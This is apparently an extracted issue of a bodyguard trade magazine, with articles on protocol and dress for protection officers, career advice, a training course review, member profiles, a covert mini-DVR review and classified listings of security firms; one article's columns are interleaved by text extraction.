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ing a skirt suit make sure you have room to move, and is knee length or below. Sensible shoes with good support as there is a good chance you arel going to be on your feet all day. Socks should be black or dark grey Ladies dark socks or neutral coloured tights are the safest choices. Keep shoes well polished and in good repair. Remember to keep your clothes clean and pressed including woollen garments. Jeans and a polo shirt with a corporate logo could be appropriate but check with your client first. Wear conservative jewellery (If any!)If you are out with your client on a social occasion there are rules that apply as to what is considered appropriate to wear. The following guidelines will keep you out of trouble in any situation: Formal: For the gentleman a tuxedo with or without a waistcoat, a black bow tie and lace up shoes or boots worn with black socks. It is best to get a tuxedo custom tailored for your frame so it fits properly. (If you carry a firearm or radio, remember to wear them to your fitting) For the Ladies, formal events usually mean long gowns or in more modern times cocktail length gowns--which are mid calf. Evening sandals or dress pumps to suit the rest of your dress. Stockings can be coloured or neutral depending on your preferences. Semi-Formal or Cocktail? Gents, this means a conservative dark suit with or without a waistcoat, a conservative tie and lace up shoes or boots worn with black socks. For the Ladies this will mean cocktail length dresses or an evening skirt worn with an elegant top. Sandals or pumps to suit the rest of your outfit. Stockings can be coloured or neutral depending on your preferences. Business Casual: For the men, this means a pair of business slacks with a button down shirt. Depending on your client, a tie may or may not be required. Polo shirts may also be acceptable. Keep jewellery limited to a watch and your wedding band if married. Earrings are not acceptable. Ladies this would mean either a dress or skirt knee length or below or tailored pants and blouse or sweater with shoes to match. Boots are an acceptable alternative to pumps but keep them low heeled. Keep jewellery to a watch, wedding bands and studs or sleepers fo the ears. SO if first impressions are visual, I would say that the 2nd impression is made as soon as we open our mouths. In light of that, let us consider how we speak as well as what we say:
• Keep regional accents to a minimum. If you do have a strong accent consider taking speech lessons or you will face a barrier in international work. • Do not use slang as your client may consider it rude. • Never make fun or your client or their family by copying their accent. • Never use profanity in earshot of a client. • On a long term assignment? It is good manners to learn the basics of your client’s language. On addressing your client it is important to remember ranks and titles. Again going back to those of you who have a military or police background the protocols are just as important in your new career. A good rule is if you do not know, ask around. There is always a personal assistant, butler, or handler who can answer your questions. If in doubt Ma’am or Sir is generally acceptable. Since we’re all aiming for the top of our profession lets try these examples: King: First time address as “Your Majesty” then “Sir”. Queen: First time address as your “Majesty” then “Ma’am”. Princess: First time as “Your Royal Highness:, then “Ma’am”. Prince: First time as “Your Royal Highness”, then “Sir”. Royal Duke : A s above. President: “Mr or Madam President”. Senator: “Senator…(use last name).”An Ambassador: First time as “Mr or Madam Ambassador…(use last name)”, then “Your Excellency” Never call a guest by their first name, even when requested to do so, it does not sound very professional or respectful. Following these basic guidelines help you in your new career as well as any social occasion you may find yourself in. Remember the first and last rule of Etiquette and Protocol is ‘Ask’, it is best to do so than appear unprofessional and make a social blunder that could possibly weigh against you for consideration of the next assignment. Being a bodyguard is more than just tactics and countermeasures, sometimes it’s just knowing when to say “please”. Susanne Dancer is a former butler and administrator. Her work in Etiquette and Protocol has taken her from Brisbane, Australia to London, England. She has received training with The Guild Of Professional English Butlers, and has worked for a number of prominent clients throughout the world.
Circuit :: Feature
Keeping Your Edge Distinguishing Yourself in an Overcrowded Market
Y
our name is Agent X
You’ve thought about it seriously for several months now, and waking up this morning you’ve realized that you’ve finally reached your decision; you’re going to put 100% of your efforts into becoming a full-time Personal Protection Agent.
#2. Networking
You’ve heard the expression, “it’s not WHAT you know, it’s WHO you know.” Well in the case of the protection agent, it’s both. Seek out others in your field that can help you with your professional goals, but unlike training which is usually a student/teacher You’ve slowly been building towards this relationship, with networking both parties for a while. You’ve had a successful stint in attempt to be mutually beneficial to each the military, having picked up a firm grasp of other. Don’t start out by asking for a job or tactics and concepts during your time there. job leads, instead define what you can bring The idea that you can apply some of those to the table and highlight that. There are skills in the private sector, allowing you more time with your family and considerably more several excellent books on successful networking; you could even attend a workshop money is very appealing. or two. Remember your focused on career This same scenario has occurred with many building, and one good way to find business operators in our industry. (Maybe even is to let others know what you do, and how yourself). You can interchange Agent X’s well you do it. time in the military, with law enforcement, government level intelligence, or even just a #3. Marketing modest career in nightclub security. Agent X Going hand in hand with #2, marketing in the can live in Boston, London, or even Istanbul. act of telling the public about your talents. X can be male, female, white, black or Asian. The medium for this has changed remarkThe point is that this agent has reached the ably in the last several years, and is likely to conclusion where he wants to make close continue to evolve at a rapid pace. Where protection more then just a job, but a career. once the extent of marking in the EP world Now, where do you start? meant a Yellow-Page ad and a business card, in 2009 you’d be hard press to find a #1. Training protector that doesn’t exist in some form Few things are more vital to a long-term or another in Cyberspace. The current rage career in the executive protection industry is “social networking”, meaning talking than quality training. (See my column last about yourself and your talents in a forum issue on training the Celebrity Bodyguard) So if the plan is to get started with your best that isn’t necessarily geared to our profession, but instead interacting with everyone foot forward, --seek out and research some from a potential client, to an old classmate. quality training providers. Yes it’s going to cost you some money, but if you wanted to Facebook currently dominates, but there are countless other sites such as Twitter, Linkedbecome an astrophysicist you’d have to go to college for it right? While this isn’t rocket In, MySpace, etc. Just remember there is a science, the art of personal protection is one such thing at TOO much information, and while you want the public (your potential that has had its concepts refined, critiqued and improved over the centuries. Why recre- clients, and people who might get you a lead on potential clients) to think of you as more ate the wheel, when you have a wealth of information that respected agencies, depart- than an earpiece and dark shades, you want the picture you show to the outside world to ments and schools all over the world are willing to share. be well crafted and of your own choosing.
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ELI AH SH AW #4. Distinguishing yourself
So here’s the tough part Agent X; how do you position yourself in the marketplace so that when you’re side by side with Agent Y and Agent Z, you stand out? What would make a potential client or detail leader choose you over the next man or woman? The answer has to be different for everyone, but there does need to be an answer. You have to figure out how to leave an impression in the decision maker’s mind, and sometimes that needs to happen before a face-to-face meeting ever occurs. How does your Resume (C.V.) look? If the answer is, “like everyone else’s” perhaps you need to rethink that particularly component. Are you seeking work in solely the Help Wanted section of the daily paper? How many other Agents are looking at the same ad? Ask yourself “What unique talents do I have?” Then think “outside the box” to figure out how to utilize them to advance your career. Consider this: What if you spoke sign language fluently? I’d venture to guess somewhere in this wide world of ours there is a Principal who is hearing challenged himself or has a family member that is. –Let him know who you are! Just like that you’ve distinguished yourself. While that’s just one example, the possibilities are endless; you just need to look within yourself, and what you don’t currently have, create. As long as there are bad people in the world there will be a need for our profession. Like any industry, the market ebbs and flows, however I firmly believe that if you apply the tips listed above, you’ll be leaps and bounds over the completion in finding work in the field of Executive Protection. Remember, X marks the spot.
Elijah Shaw is the CEO of Icon Services Corporation and The National Director of the North American Bodyguard Association
Circuit : : 33
Circuit :: OnTheJob
TRAINING COURSE REVIEW .....Icon Services
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by BENJAMIN COLEMAN
or many years the bodyguard industry has been glorified by Hollywood. Let’s face it from the outside looking in, who wouldn’t want to be involved with travelling the globe while protecting movie stars and public figures? However the glorified perception and the actual reality of VIP Protection work, in a celebrity setting, is sometimes a very different thing --even for the seasoned executive protection agent. Where do I place myself when with a client surrounded by fans? How do I interact with management and the entourage? How do I approach a red carpet event? How do I deal with stalkers? What if I discover my protectee is involved in something “less than legal’? Enter Icon Services Corporation’s: 5 Day Celebrity & VIP Protection Training Course, which I recently attended.
Before I began my journey and parted with my hard earned cash, especially in a recession economy, I knew I had to do my research both on the internet and by speaking with knowledgeable individuals in the profession. While there are multitudes of very good bodyguard training courses available worldwide, I finally chose the Celebrity & VIP Protection Course based on four criteria: 1. It was cost effective. I did not need to apply for financial aid to pay for the course. What good is taking overly expensive training if I have to spend years working to pay the loans in full? That might work for some, just not for me. 2. The length of the course is ideal. I am fortunate enough to already be working in the profession so taking off for an extended period could possibly damage current relationships.
Celebrity and VIP Protection Course teachings come directly from what he currently does on a day-to-day basis.
Icon Services Corporation’s Celebrity & VIP Protection Course is very taxing, mentally and physically, but that is the point of the course. It is designed to make newcomers to the industry ask themselves, “Do I really want to be a bodyguard?” In turn, veterans of the industry have the opportunity to re-evaluate whether or not the celebrity arena is one that they may want to get into as well as polish up existing skills.
instructs the team on drills, such as where a bodyguard should place himself/herself while with a client and draws a diagram on the board. Course participants are then placed in small groups and walk through drills, formations, and scenarios (For example, being on the red carpet at a movie premier). This method of instruction is beneficial to all of the participants and their individual learning style, i.e. verbal, visual or practical. Each day builds upon the next and each topic seems to segue into the next so that it all begins to fit together like a puzzle.
One may get the idea that this course is held entirely in a typical classroom setting; however this is not the case. The course is conducted much like a sports teams practice. There is constant movement; there is always something happening. Mr. Shaw is the coach and the participants are the team. The coach
Just as you can’t be a carpenter without tools, the Protection Agent also needs to be familiar with his toolkit. That includes vehicle familiarization for defensive driving and firearms. While doing domestic VIP protection, firearms are only a small factor; weapons familiarization and drills were a daily part of the course.
Upon arrival, all participants walk into a large classroom and are given a course booklet and an outline for the duration of the 5-day course. The course outline is much like having an itinerary while working with a celebrity client; it changes constantly and is subject to modifications and revisions. This is done to give the trainee a better idea of what it is like to protect a client when he/she does not have the luxury of always knowing what is happening next. After the introductions and a brief course overview very little time is wasted before diving right into the course material.
Physical fitness should be a high priority for anyone that is involved in this industry so it only makes sense that it should be incorporated into a protection course. No one wants a bodyguard that cannot walk a flight of steps without gasping for air. If you have any aching bones, old injuries, etc., then now is the time to mention them. This course has been nicknamed “Bodyguard Boot Camp” and in the PT sessions the participants begin to understand the true meaning of the nickname. While Mr. Shaw and his staff will push you, the object is not failure, but benchmarking success.
3. The course is designed to educate new comers and veterans of the industry alike. I didn’t want an “Intro to Executive Protection” course, but at the same time I didn’t want the class to be populated by a group of know-italls who are more concerned with telling you how they would do it, versus trying to pick up something new from the course instructor. I think we’ve all been in situations like that before.
4. It is personally taught by Elijah Shaw. Mr. Shaw is a recognized name in the industry with more than 15 years of active experience working with major celebrities and corporate clients. He’s not teaching from a textbook or talking about what he did 30 years ago, his
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“Upon arrival, all participants walk into a large classroom”
And finally, just when you think you’ve got a working handle on everything that the Celebrity & VIP Training Course has to offer, the instructors move the participants into another “classroom” for further evaluation. I’m being intentionally vague on this part of the course as not to spoil it for anyone planning on attending, but I will tell you the stakes become higher, and everything previously taught comes into play. I don’t think I’d be alone in saying that the final assignment was instrumental in assisting the trainees in becoming some of the best in this industry. I mean, that is the reason why we train, right? Overall, Mr. Shaw makes it a priority to answer any and all questions that are presented to him. Ensuring that all participants have the opportunity to obtain a full understanding of the information presented in the course. As an added bonus, industry experts are brought in as surprise guest speakers. In my particular course, Harlan Austin, the CEO of Bodyguard Careers was brought in to discuss putting together the ideal resume, how to market yourself to potential clients, and the importance of effective networking. The course teaches not just doing the job, but also actually getting the job.
In the end, the instructor and his staff personally evaluate each participant. Outside of the certificate of successful completion, top performing participants are given a letter of recommendation that can be presented to future employers and some of the course graduates have even been called upon to participate in details on the Operations side of Icon Services Corporation (yours truly included). Oh and in case you think this all sounds too easy, not everyone who started the course with me made it through to the end. In my opinion, this easily ranks among the top courses in the industry --simultaneously mixing bookwork, tactical hands-on and then topping it off with educating participants on how they can best market themselves to potential clients.
In an industry full of operators who “run and gun”, The Celebrity & VIP Protection Course is needed as it shows just how much goes into running a detail and successfully protecting your client in this particular segment of the profession. You leave the training with a sense of accomplishment and the feeling that you’re a better protector from when you first walked through the classroom doors. There are a lot of men and women that decide that they want to become a bodyguard, yet may have no idea what the job entails. In my opinion, this course delivers an excellent overview. -----------------------o-----0-----o----------------------Benjamin Coleman is the CEO of BC Executive Security, a US based firm that specializes in Executive Protection and Event Security. www. BCESecurity.com
Circuit :: Focus
Each month in The Circuit we shall focus on various companies and operatives from within the industry and reveal a little more about them
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yan Naish whom has also provided an article for this issue is our first willing volunteer. Ryan is a highly motivated UK SIA Licensed Close Protection Front Line Operative, whom has gained extensive experience Internationally within the Security Industry. Ryan is also a former member of the Parachute Regiment having served 8 years before going completing a widely recognized and highly respected bodyguard course in which he achieved a high pass rate in all aspects.
On completing this Ryan has gained employment as a Close Protection Officer on various protective details in Hostile Environments such as Iraq and the African Continents as well as carrying an out an extensive number of Corporate Protective Assignments in the UK and across Europe, other assignments have included Middle Eastern Royalty and diplomatic protection tasks. Ryan further enhanced his career by gaining the SSO (Ship Security Officer qualification. As well as all of this Ryan is a qualified Personal Trainer and will be giving us some top tips on keeping in shape in the following issues. To learn more about Ryan please visit www.ryannaish.co.uk or contact rn@ryannaish.co.uk
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ice and Secure was formed over a decade ago by its founder and managing director Jeff Formica. Eleven years later, Nice and Secure stands proudly as one of London’s -- and the world’s -- most elite security companies. Nice and Secure services the celebrity, socialite and art worlds, providing bespoke security to clients who demand only the highest, most distinguished level of service, safety and discretion. Nice and Secure’s client list includes royalty, Hollywood superstars, political leaders, corporate giants and the high-profile, five-star venues they visit – from London’s finest art galleries and most exclusive restaurants to the most trendy night spots on any socialite’s wish list. The reason behind this success has been Jeff Formica’s radically different approach to a stereotypically “heavy” industry. It’s the Nice and Secure ethos --the essence of its character -- that renders it apart. That ethos demands that Nice and Secure provides sophisticated, polished, well-groomed and personable security personnel. People who are strong and friendly, highly trained and motivated and yet imbued with tact and discretion. Now, in 2009, as Nice and Secure continues to affirm itself as a market leader in specialised Personal Protection, the company is proud to welcome aboard the well known author and protection specialist Casey Christie as part of its higher management team. Nice and Secure. Strong, friendly, reliable -- for all your security needs.www.niceandsecure. com - info@niceandsecure.com
If you you would like yourself or you company included in the Member Focus of the magazine please email us. admin@circuit-magazine.com Circuit : : 35
Circuit :: BoyZone
GET YOUR KIT ON
We a look at some of the essential and not so essential tools of the trade so that you don’t have to, gadgets, games, movies and ‘simply must-haves’.
Vista 1GB Mini DVR: Video & Audio
T
his piece of equipment came to our attention from one of the BBA members who posted about it on our members only forum. We read the post, liked the sound of it and went out and bought one to try it out so that we could let The Circuit readers know all about it. First impressions of this unit are that it is EXTREMELY small! Sometimes when you look at something you just think “no-way”, and I have to admit that when we got the Vista out of the box it was one of those occasions! However, as I have found out in life, looks can be deceptive! The Vista records to Secure Digital [SD] Card up to 4GB in size and at a frame rate of ‘up to’ 25 fps, although this is adjustable downwards. The unit is 12v powered but only draws mili-amps so the power consumption is fantastic which is especially useful if the unit is to be deployed in an area where mains power is not possible. The size of the unit, which at first alarmed me, is also a bonus if a covert deployment is to be achieved. This in conjunction with lightweight of the unit could also be a factor in purchasing the Vista as it is ideal for placement in false ceilings for example. The unit can be set to record at set times or on motion but only has the facility for 1 camera which some users may find a limiting factor when deciding to purchase or not. You can also attached Passive Infra Red sensors [PIR’s] in order to initiate recording, which
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is a superb feature to have especially if the unit is being used as a covert devise, which you would assume, is the most likely deployment for such a unit. The motion sensors, of which there are 3, on the Vista did appear to be VERY sensitive [which could fill up the SD card quickly] but it certainly did not miss any action by not being sensitive enough that is for sure! We used the unit with several different lenses’ including various bullet cameras, a pinhole camera and a couple of CCTV cameras, some with excellent low-lux levels and others without. The quality of the footage depended on various factors including; the placement of the cameras, lux settings and the amount of light at the time the footage was taken but we were ‘generally’ very pleased with the quality of the footage achieved by the Vista. The Vista comes with a CD-Rom to download software for you to be able to view what you have recorded and then transfer to DVD using your PC but the software is not mac compatible. However, for those mac junkies, there is always a way! Footage from the Vista can be placed directly on to other forms of media such as VHS/DVD, which can then be played through a unit and transferred to your mac. Like all pieces of equipment the Vista has its uses and will be more useful in some scenarios than others but we were very impressed with this little unit. It does its job and it does
it very well. When selecting such a unit it is critical that you do your research; not just on the unit itself but also on where/when it is to be deployed, what you hope to achieve, and what camera it is to be used in conjunction with. The choice of camera is particularly crucial as this can make or break the quality of the footage that the Vista will achieve; time spent on reconnaissance is seldom wasted! Tech Spec: Footage viewed via the DVR or on any PC running Windows. A combination of highly efficient MPEG compression and miniature components reduces power consumption and space requirements. Small, compact and lightweight: The miniature size (90x45x17mm) and lightweight construction (50g) makes the DVR ideal for covert recording and extremely versatile Easy to install: Once the output is connected to a monitor, the simple menu can be navigated using the IR remote control. Motion detection and alarm input: The MiniD-100 is able to start recording as soon as motion is detected in front of the camera or from an external alarm input, massively increasing the duration of recording. Pre-alarm with adjustable time: Especially important when in event recording mode, pre-alarm records video prior to the alarm, allowing operators to see what triggered the alarm LED indication of alarm/event recording: This simple, visible alert of alarm or event occurrences is especially important for the detection and prevention of staff theft.
CLASSIFIED
A.B.I. Solutions A.B.I Solutions is a dynamic, forward thinking company, specialising in surveillance, security and investigations with local, national and international experience. A.B.I provides a wide range of services to the corporate sector and individuals alike. www.abisolutions.co.uk ___________________________ Argus Europe County Durham, T:+44 (0) 8456 123 843 Argus Europe has been providing specialist training for high-net worth clients and their families for close to 20 years, worldwide. Argus Europe now offer accredited training for CPO’s, Surveillance Operators and Private detectives. Argus Europe is an operational company working globally with an extensive variety of contracts. www.arguseurope.co.uk ___________________________ ANZU Executive Protection Fairgate House, 205 King’s Road, Tyseley, Birmingham, B11 2AA Tel: + 44 (0) 121 707 9296 Training services include: Close Protection, Threat Analysis and Risk Management, Close Quarter Combat (including live weapons) Surviving in Hostile Environments, Advanced First Aid Treatments and Protective Driving. BBA Member. www.anzuexecutiveprotection.com ___________________________ Athena Security & Intelligence Consultants Ltd 69 Buchanan Street, Glasgow, UK, G1 3HL Tel: + 44 (0) 141 314 398 Specialist intelligence training and operations for private and public bodies working in permissive and nonpermissive environments. Covert HUMINT, Counter-Intelligence, Hostage Awareness and Negotiation specialities. www.athenaintelligence.co.uk ___________________________
Briareus Security Our aim is to give a complete, discreet and professional service to all of our clients, be they large corporations, small businesses, local authorities or private individuals, all tailored to meet their individual needs. www.briareussecurity.com info@briareussecurity.com ___________________________ Camberford Law Plc Lygon House, 50 London Road, Bromley, BR1 3RA Tel: + 44 (0) 20 8315 50 We provide bespoke insurance solutions for Bodyguard, Door Supervisor, and Security companies of all sizes. Cover can apply for worldwide services. It is an exclusive arrangement - not available to anyone else. BBA Associate Member.
www.camberfordlaw.com/closeprotection ___________________________ Canadian Use of Force Systems 7975 Yonge St. # 7124, Innisfil, ON, L9S 1L0, CANADA Tel: + 1 705 456 4333 A professional Use of Force and Defensive Tactics organization teaching a full range of controlled response options for Self-Protection and Use of Force considerations in public and professional environments. BBA Associate Member. www.canadianuseofforce.com ___________________________ Challenger Chauffeuring and Security Ltd Eaton Place Business Centre, 114 Washway Road, Sale, M33 7RF Tel: +44 (0) 161 905 1424 Based in South Manchester, we aim to take customer service levels to new heights by providing smart, high calibre drivers and vigilant, professional door supervisors and security staff. Licensed close protection operatives are also available to work both at home and abroad. BBA Member. www.challengergroup-mcr.co.uk ___________________________ Concept Tactical London, England Telephone : +44 (0)78 538 79913 (0)78 538 79913 Through Concept Tactical well known author and protection specialist Casey Christie provides clients with specialised close protection and a security consultancy service operating to only the highest standard. www.concepttactical.com ___________________________ Control Risks Cottons Centre, Cottons Lane, London, SE1 2QG Tel: + 44 (0) 20 7970 210 Control Risks training services is the training division of business risk consultancy Control Risks. We run courses including close protection, hostile environment training, close protection within hostile environments, first aid and defensive driver training for organisations and their staff, ex service personnel and other private individuals. www.controlrisks-training.com ___________________________ Coversure Insurance Services 23, Croydon Road, Reigate, Surrey, RH2 0LY Telephone : 0800 308 1010 Coversure ( Reigate ) is a Specialist Insurance Broker to the Security Industry including Event Security, TV & Media Security, Guarding and Close Protection. www.1nsurance.co.uk ___________________________ Covert Solutions Group International 27, Old Gloucester Street, London, WC1N 3XX Tel: + 44 (0) 7005 964 17
A UK based Specialist Security Company with Global reach and are leading providers of Close Protection and Surveillance to Private, Executive and High Profile Clients. BBA Member. www.covertsolutionsgroup.com ___________________________ D.McKenzie Associates Stacey Bushes, Milton Keynes, MK12 6HL Tel: + 44 (0) 1908 225474 Operational management, training, threat and risk assessment, threat management, executive (personal) and corporate security / investigations. BBA Member. www.dmckenzieasociates.com ___________________________ Detective Lacerda P.O.BOX 25996, São Paulo, 05513970 , BRAZIL Tel: + 55 (11) 3452 4388 Providing the full range of security and investigation services throughout Latin America. BBA Member. www.detectivelacerda.cjb.net ___________________________
DM Security (UK) Ltd The Elms Business Centre , 62 High Street, West Bromwich, B70 6JT Tel: + 44 (0) 8444 821 460 A highly professional and reliable outfit catering for all aspects of security and close protection. We have an enviable reputation within the industry and guarantee a friendly, efficient and consistent service. BBA Member. www.dmsecurityuk.com ___________________________ Female-Bodyguard.com 2 William Street, Berkhamsted, HP4 2EL Telephone : + 44 (0) 780 1066315 A highly trained team of female close protection officers providing CP services worldwide. BBA Member. www.female-bodyguard.com ___________________________ Griffith Corporation Security Service 332 South Pennsylvania Ave, Glendora, California CA 91741-4231, USA Tel: + 1 775 790 9446 Provides security consultation and serves as the hub of its Security Network Portal. Also operates the Homeland TV Network and Griffith Broadcasting, both of which are online TV channels dedicated to security issues. The firm also operates Air Securitas, a private air security firm providing VIP security and air transportation. In addition to these venues, Griffith Corporation Security Service provides executive protection referrals and services. BBA Member. www.griffithcorp.com ___________________________ Hawk East PO Box 339, Stoneville, NC 27048, USA Tel: + 1 336 427 8699
To place a classified lineage or box advertisement telephone our sales team on: 0845 519 2538
The Complete Bodyguard Training Video Series, VHS or DVD. BBA Member. www.bodyguard-training.com ___________________________ Heimrisks Svartemyrar 2, 458 93 Färgelanda, Sweden The tactical pistol training program is an advance level of the training program and the focus is for the high risk contractor who operates in a hostile environment and with specialist equipment. www.heimrisks.com ___________________________ Icon Services Corporation 1043 Grand Ave. #312, St. Paul, MN 55105, USA Tel: + 1 651 695 8778 A full service security and investigative agency specializing in providing high-level security and bodyguards to international celebrities, public figures and corporations. Licensed, bonded and insured, our diverse roster of clients reads as a virtual who’s who in the corporate, motion picture, fashion and recording industry. Entering into our 10th year, Icon has been the hand picked choice to provide Executive Protection to everyone from Superintendents to Supermodels. BBA Member. www.Industry-Icon.com ___________________________ Imperial Protective Service, LLC 15849 N. 71st Street, Suite 100, Scottsdale , Arizona, 85254, USA Tel: + 1 480 281 1588 Imperial Protective Service’ (IPS) is a security consulting and services firm founded in 1978. IPS provides both national and international corporate, executive and celebrity protective services. BBA Member. www.executiveprotect.com ___________________________ Intelligent Network Services Unit 27B, Wolverhampton Airport, Stourbridge, DY7 5DY Tel: + 44 (0) 845 2572193 We provide a full and comprehensive range of services into all areas of business and the private sector including Close Protection, static security (all UK SIA Lincensed), Private Investigation, Aviation, Maritime & Fire Services and a Secure Document Transfer Service. BBA Member. www.intelligentnetworkservices.org ___________________________ International Protection Group 16 Penn Plaza, Suite 1570, New York, NY10001, USA Tel: + 1 212 947 1681 A highly specialized team of current and former law enforcement and experienced protection professionals that provide the best individual or group protection at every turn. BBA Member.
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CLASSIFIED www.internationalprotectiongroup. com ___________________________ International Protection Management Dublin, EIRE Tel: + 353 1800 771 772 Specialists in Security Risk Management & Consultant Bodyguard Services for Media, Corporate, Hotel, Private, Executive and Celebrity Clients. BBA Member. www.bodyguards.ie ___________________________ International Security Academy P.O.Box 5833, Herzeliya, 46000, ISRAEL Tel: + 972 9 950 0969 Our graduates are more recognized, respected and sought after by Distinguish Protection service “consumers” and by most of the “Providers” of Protection services worldwide. Organisers of the 2008 International Summit of Protection Officers. BBA Member. www.SecurityAcademy.org.il ___________________________ IPSS Security Northfield, Aberdeen, AB16 7EX Tel: + 44 (0) 1224 69455 Security and protection services - UK and overseas. BBA Member. www.ippssecurity.co.uk ___________________________ ISS Training Ltd Riverside Cottages, Nidd Walk, Pateley Bridge, Harrogate, HG3 5NA Tel: + 44 (0) 1423 712265 ISS Training Limited are providers of specialist covert surveillance training courses and publications to the security and investigative industries, enforcement agencies and specialist military units. Formed in 1990, we are the longest established surveillance training company in the United Kingdom. Our credibility and reputation is widespread and we offer nationally recognised qualifications. BBA Member. www.intelsecurity.co.uk ___________________________ John Featherstone 24hrs : +44 (0)7702 740722, john@ johnfeatherstone.co.uk Security professional with operational experience gained in a variety of theatres. Main specialities close protection and surveillance. www.johnfeatherstone.co.uk ___________________________ K SA Security Kodratou 22, Athens , 10436, GREECE Tel: + 30 210 5235558 K Security Agency offers a wide range of services including VIP protection security consulting and risk analysis. BBA Member. www.ksasecurity.gr ___________________________ Komodo Red Security Services Unit A The Courtyard Business Centre, 27 Norfolk Street, Peterborough, PE1
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2NP Tel: + 44 (0) 1733 567253 We offer bodyguard, close protection, security, surveillance and consultancy services such as risk assessments. We also provide unarmed combat conflict management training. BBA Member. www.komodored.com ___________________________ MAF Protection P.O. Box: 25996, São Paulo, 05513970, BRAZIL Tel: + 55 11 3452 4388 MAF Protection was formed in 2001 by a Group of experienced independent Security Specialists, who have trained and gained their experience from service within the Armed Forces, Police and Civilian Security Sector. We provide an extensive range of specialised security services. BBA Member. www.mafprotection.com ___________________________ MB Security Service Furstenbergs Gatan 4, Gothenburg, 41664, SWEDEN Tel: 46 (0) 31 150 333 Close Protection and security services worldwide. BBA Member. www.mbsecurityservice.com ___________________________ Military Grade Encryption Phones PO Box 52310, Limassol, CYPRUS Tel: + 357 7777 7276 Built-in encryption software which converts your voice to encrypted data using a constantly changing mathematical formula. It uses a dual layered RSA/AES combination and a changing session key which modifies the encryption algorithm every second. € 1,398.00 + VAT. All prices include new Nokia N73 phone. BBA Member. www.protechcy.com/new ___________________________ New Security via Rome 100, 95030 Gravina of Catania, Sicily, ITALY Tel: + 39 0954 197 546 La New Security di Carmelo La Rosa è stata fondata nel 1993 per fornire servizi di Investigazioni, Ricerche, Informazioni Commerciali, Intelligence, Security, ad Aziende, Istituti BancariCommerciali e Finanziari, a Studi legali e Privati, in tutto il mondo. BBA Member. www.newsecurity-investigazioni.it ___________________________ Ryan Naish 24hrs : +44 (0) 7525 920673 Experienced Security Professional and Front Line Close Protection Officer. rn@ryannaish.co.uk, ww.ryannaish.co.uk ___________________________ Stuart Pagett 24hrs : +44 (0) 7814114619 Experienced Security Professional and Front Line Close Protection Officer.
Web - www.sjprotection.co.uk ___________________________ Primus Group 8, Earlswood Road, Llanishen, Cardiff, CF14 5GH Tel: + 44 (0) 29 20757578 Conflict Management, Workplace Violence, Management & Development, PhysicalIntervention, HSE First Aid Training, Security Consultancy. BBA Member. www.primusgroup.co.uk ___________________________ Protector Network 156 Queens Road, London, SE15 2HP Tel: +44 (0)759 434 9911 The Protector Network provides worldwide operational and training solutions. Closely bound with the International Bodyguard Association and ILETA we are able to provide global coverage through our professionally qualified affiliates. Free membership for BBA members. BBA Member. www.protectornetwork.com ___________________________ Red Diamond Security PO Box 775, Christchurch , 8140, NEW ZEALAND Tel: + 021 0227 0093 Providing professional proactive security ranging from basic security guarding through to Close Protection (Bodyguard/PSD) in Iraq. BBA Member. www.reddiamond.co.nz ___________________________ Richard James Cooper 24hrs : +44 (0) 7890 676839 , info@ richardjamescooper.co.uk Experienced Security Professional and Front Line Close Protection Officer. www.richardjamescooper.co.uk ___________________________ Saint Security Consultants Pte Ltd 20 Kramat Lane, #03-04 United House, 228733, SINGAPORE Tel: + 65 67373104 Licenced by the Criminal Investigation Department of the Singapore Police Force, Saint Security Consultants Pte Ltd was incorporated by former Police officers from various departments and specialist professionals with decades of expertise in Criminal and Commercial Investigation, Intelligence Operations as well as Security Planning and Management. BBA Member. www.saint-security.com ___________________________ Shaun West United Kingdom, E: sw@shaunwest. co.uk T: +44 (0)7830 109 601 SIA licensed, Highly Experienced Frontline CPO. Ronin SA trained. Providing security for both corporate and hostile Environments. www.shaunwest.co.uk ___________________________ Sting Protection Germiston, Guateng, SOUTH AFRICA
To place a classified lineage or box advertisement telephone our sales team on: 0845 519 2538
Telephone : + 27 82 791 0119 Our highly trained staff will assure that you receive piece of mind, and that you and your valuables are safe and secure during your visit to South Africa. BBA Member. www.sting-protection.co.za ___________________________ Sun Security Personnel Suite 7/Level 1, 564 Princes Highway, Rockdale, NSW 2216, AUSTRALIA Telephone : + 1300 736 795 Founded in 1992 with a vision to provide a professional and outstanding level of security service to our clients worldwide. BBA Member. www.sunsecurityñcom.au ___________________________ Tony Scotti’s Vehicle Dynamics Institute 1162 St. Georges Ave, Suite 277 , Avenel, NJ 07001, USA Tel: + 1 732 738 5221 The first name in advanced driver training, offering our highly acclaimed Protective/Evasive Driving Programs. Designed specificallyfor today’s executive chauffeurs, executive protection professionals and others who are responsible for providing safe and secure transportation services. BBA Member. www.vehicledynamics.net ___________________________ Varsity Publications PO Box 222, Chipping Norton, Oxford, OX7 5WY Telephone : +44 (0) 870 350 1231 Varsity International Directory of Security & Close Protection features around 2000 Security Advisors, Bodyguards & Executive Protection Specialists and it covers over 150 countries throughout the world. It is laid out by Continent and thereafter alphabetically by Country and City for ease of use. There is a map for every Country covered plus information panels giving vital details such as local currencies, languages spoken, dialing codes and time differences. www.varsitypublications.com ___________________________ Viking Security 185 Langworthy Rd, Salford, Manchester, M6 5PW Tel: + 44 (0) 161 745 880 Our aim is to provide first class security solutions. By using the skills of our dedicated team of professionals, we will ensure the very best service and support is offered to all our clients. BBA Member. www.vikingsecurity.co.uk ___________________________ VIPA Tactical Training P O Box 353, Roweltown, Cumbria, CA1 9DP Tel: + 44 (0) 7954 218125 A specialist training academy dealing with four specific areas of combat: VIPA Civilian Self Protection Program, VIPA Close Protection Combat System, VIPA Police Defence Tactics and